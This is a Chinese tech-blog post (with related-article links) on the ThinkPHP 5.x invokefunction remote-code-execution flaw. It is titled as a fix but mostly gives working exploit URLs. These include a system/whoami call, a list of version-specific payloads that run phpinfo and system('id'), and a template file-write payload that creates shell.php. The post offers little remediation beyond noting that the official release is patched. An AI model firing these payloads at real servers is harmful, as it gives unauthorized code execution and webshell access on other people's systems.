thinkphp代码执行getshell的漏洞解决

所属分类: 网络安全 / 脚本攻防 阅读数: 205
收藏 0 赞 0 分享

先来简单说说前天thinkphp官方修复的一个getshell漏洞,框架对控制器没有进行足够的检测导致的一处getshell

影响的范围: 5.x < 5.1.31, <= 5.0.23

漏洞危害: 导致系统被提权(你懂的)

这里附上一个自己测试的 thinkphp的 链接  http://www.thinkphp.cn/download/1260.html  版本是5.0.22

先来讲下,5.0 跟5.1的区别吧,tp5.1中引入了容器(Container)和门面(Facade)这两个新的类  tp5.0是没有这两个新的类的,

漏洞原理

URL:http://192.168.188.141/public/index.php?s=index/\think\app/invokefunction

我们先来看看App类里的 exec函数里的执行分层控制器的操作

我们这里是把controller 的调用信息跟配置信息全部传到了 invokeFunction 这个 执行函数里面去了

因为think\App是第二个入口,在tp运行的时候就会被加载 所以用think\App里面的分层控制器的执行操作的时候,需要去调用invokeFunction这个函数。

这个函数有两个参数,如上图所示,第一个是函数的名字,第二个参数数组,比如$function传入BaiDu然后$vars传入[12,555]就相当于调用BaiDu(12,555)

此处我们把function传入call_user_func_array然后vars[0]传入我们要执行的函数的名字vars[1]传入要执行函数的参数,因为vars是个数组 所以此处我们的get请求需要这样写

vars[]=函数名&vars[1][]=参数

此处是利用php的数组注入

此时此刻就可以开始利用远程代码执行漏洞了 比如我们要执行system函数 他的参数是whoami

http://192.168.188.141/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

下面你懂的,作为一个接班人我们要做的就是修复他(为所欲为?),当然官方更新的最新版本是已经修复了的

这里就代码执行成功,以下奉献上tp不同版本的payload

?s=index/\think\Request/input&filter=phpinfo&data=1
?s=index/\think\Request/input&filter=system&data=id
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=
?s=index/\think\view\driver\Php/display&content=
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持脚本之家。

更多精彩内容其他人还在看

一句话木马后门在防注入中的重生

对于目前流行的sql注入,程序员在编写程序时,都普遍的加入防注入程序,有些防注入程序只要在我们提交一些非法的参数后,就会自动的记录下你的IP地址,提交的非法参数和动作等,同时也把非法提交的数据写入了系统的后缀为ASP的文件中,这也给了我们一些可利用的地方
收藏 0 赞 0 分享

ASP+PHP 标准sql注入语句(完整版)

这里为大家分享一下sql注入的一些语句,很多情况下由于程序员的安全意识薄弱或基本功不足就容易导致sql注入安全问题,建议大家多看一下网上的安全文章,最好的防范就是先学会攻击
收藏 0 赞 0 分享

SQL注入黑客防线网站实例分析

这篇文章主要介绍了SQL注入黑客防线网站实例分析,需要的朋友可以参考下
收藏 0 赞 0 分享

Linux 下多种编程语言的反弹 shell 方法

这篇文章主要介绍了Linux 下多种反弹 shell 方法,需要的朋友可以参考下
收藏 0 赞 0 分享

thinkphp代码执行getshell的漏洞解决

本文来介绍一下thinkphp官方修复的一个getshell漏洞,框架对控制器没有进行足够的检测导致的一处getshell,小编觉得挺不错的,现在分享给大家,也给大家做个参考。一起跟随小编过来看看吧
收藏 0 赞 0 分享

XSS攻击常识及常用脚本

XSS 攻击常用脚本,大家可以了解xss攻击的一些知识做好网站安全防范。
收藏 0 赞 0 分享

XSS攻击汇总 做网站安全的朋友需要注意下

貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的
收藏 0 赞 0 分享

PHP一句话Webshell变形总结

大部分Webshell查杀工具都是基于关键字特征的,通常他们会维护一个关键字列表,以此遍历指定扩展名的文件来进行扫描,所以可能最先想到的是各种字符串变形
收藏 0 赞 0 分享

phpddos流量攻击预防方法

先来理解一下什么是phpddos流量攻击,phpddos是一种黑客经过入侵WEB效劳器植入phpshell从而控制这个phpshell 向其他受害者或本人的效劳器发送UDP攻击包停止DDOS攻击
收藏 0 赞 0 分享

SQL注入攻防入门详解 [图文并茂] 附示例下载

毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机会接触相关开发……必须的各种借口。这几天把sql注入的相关知识整理了下,希望大家多多提意见
收藏 0 赞 0 分享
查看更多